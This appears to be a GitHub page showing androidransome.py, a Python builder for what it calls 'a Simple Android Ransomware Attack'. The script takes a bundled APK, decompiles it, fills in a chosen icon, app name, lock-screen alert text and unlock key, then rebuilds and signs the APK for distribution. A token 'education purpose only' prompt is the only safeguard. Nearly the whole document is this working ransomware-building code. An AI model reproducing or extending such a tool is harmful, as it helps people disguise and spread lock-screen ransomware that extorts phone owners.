-
Notifications
You must be signed in to change notification settings - Fork 2
/
androidransome.py
executable file
·133 lines (126 loc) · 4.82 KB
/
androidransome.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
#! /usr/bin/env python3
import os, sys, time, fileinput
from getpass import getpass
from PIL import Image
r = "\033[1;31m"
g = "\033[1;32m"
y = "\033[1;33m"
b = "\033[1;34m"
d = "\033[2;37m"
R = "\033[1;41m"
Y = "\033[1;43m"
B = "\033[1;44m"
w = "\033[0m"
app_icon = ""
app_name = ""
alert_title = ""
alert_desc = ""
key_pass = ""
def banner():
print(w+b+" ANDROID RANSOME"+w)
def writefile(file,old,new):
while True:
if os.path.isfile(file):
replaces = {old:new}
for line in fileinput.input(file, inplace=True):
for search in replaces:
replaced = replaces[search]
line = line.replace(search,replaced)
print(line, end="")
break
else: exit(r+"[!]"+w+" Failed to write in file "+file)
def start():
global app_icon, app_name, alert_title, alert_desc, key_pass
os.system("clear")
banner()
print(r+"[!]"+w+" Use this tool for education purpose only")
ask = str(input(r+"[!]"+w+" Do you agree (y/n): ").lower())
if ask in ("yes"): pass
else: exit(r+"[!]"+w+" Dont be evil !")
print(f"""
{r}AndroidRansome{w} is a Simple Android Ransomware Attack
{w}The user can customize the App Icon, Name, Key and others.
{d}If you forgot the unlock key, just restart your phone !{w}
""")
print(b+"> "+w+os.popen("curl ifconfig.co/city --silent").readline().strip()+", "+os.popen("curl ifconfig.co/country --silent").readline().rstrip()+time.strftime(", %d/%m/%Y (%H.%M.%S)"))
print(b+">"+w+" Use \\n for newline and CTRL + C for exit")
print(w+"-"*43)
while True:
x = str(input(w+"* SET app_icon (PNG only): "+g))
if os.path.isfile(x):
if ".png" in x:
app_icon = x
break
else: print(r+"[!]"+w+" File not accepted, PNG format only !")
else: print(r+"[!]"+w+" File not found, please fill correctly !")
while True:
x = str(input(w+"* SET app_name: "+g))
if len(x) != 0:
app_name = x
break
else: continue
while True:
x = str(input(w+"* SET title: "+g))
if len(x) != 0:
alert_title = x
break
else: continue
while True:
x = str(input(w+"* SET description: "+g))
if len(x) != 0:
alert_desc = x
break
else: continue
while True:
x = str(input(w+"* SET unlock key: "+g))
if len(x) != 0:
key_pass = x
break
else: continue
print(w+"* Building your ransomware APK's ...")
print(w+"-"*43+d)
os.system("apktool d AndroidRansome.apk")
imgpath = [
"AndroidRansome/res/drawable-mdpi-v4/ic_launcher.png",
"AndroidRansome/res/drawable-xhdpi-v4/ic_launcher.png",
"AndroidRansome/res/drawable-hdpi-v4/ic_launcher.png",
"AndroidRansome/res/drawable-xxhdpi-v4/ic_launcher.png",
]
strings = "AndroidRansome/res/values/strings.xml"
print("I: Using strings "+strings)
smali = os.popen(f"find -L AndroidRansome/ -name '*0000.smali'","r").readline().strip()
print("I: Using smali "+os.path.basename(smali))
writefile(strings,"appname",app_name)
print("I: Adding name with "+app_name)
writefile(strings,"alert_title",alert_title)
print("I: Adding title with "+alert_title)
writefile(strings,"alert_desc",alert_desc)
print("I: Adding description with "+str(len(alert_desc))+" words")
writefile(smali,"key_pass",key_pass)
print("I: Adding unlock key with "+key_pass)
time.sleep(3)
for path in imgpath:
if os.path.isfile(path):
with Image.open(path) as target:
width, height = target.size
size = str(width)+"x"+str(height)
logo = os.path.basename(app_icon)
os.system("cp -R "+app_icon+" "+logo)
os.system("mogrify -resize "+size+" "+logo+";cp -R "+logo+" "+path)
os.system("rm -rf "+logo)
print("I: Adding icon with "+os.path.basename(app_icon)+" size: "+size)
else: exit(1)
os.system("apktool b AndroidRansome -o final.apk;rm -rf AndroidRansome")
os.system("java -jar ubersigner.jar -a final.apk --ks debug.jks --ksAlias debugging --ksPass debugging --ksKeyPass debugging > /dev/null 2>&1")
os.system("java -jar ubersigner.jar -a final.apk --onlyVerify > /dev/null 2>&1")
os.system("rm -rf final.apk")
if os.path.isfile("final-aligned-signed.apk"):
out = app_name.replace(" ","").lower() + ".apk"
os.system("mv final-aligned-signed.apk "+out)
getpass(b+">"+w+" Result saved as: "+B+" "+out+" "+w)
else: print(r+"[!]"+w+" Failed to signed APK's")
if __name__ == "__main__":
try:
start()
except KeyboardInterrupt:
exit(r+"\n[!]"+w+" Thanks for Using this tool\n exiting ...")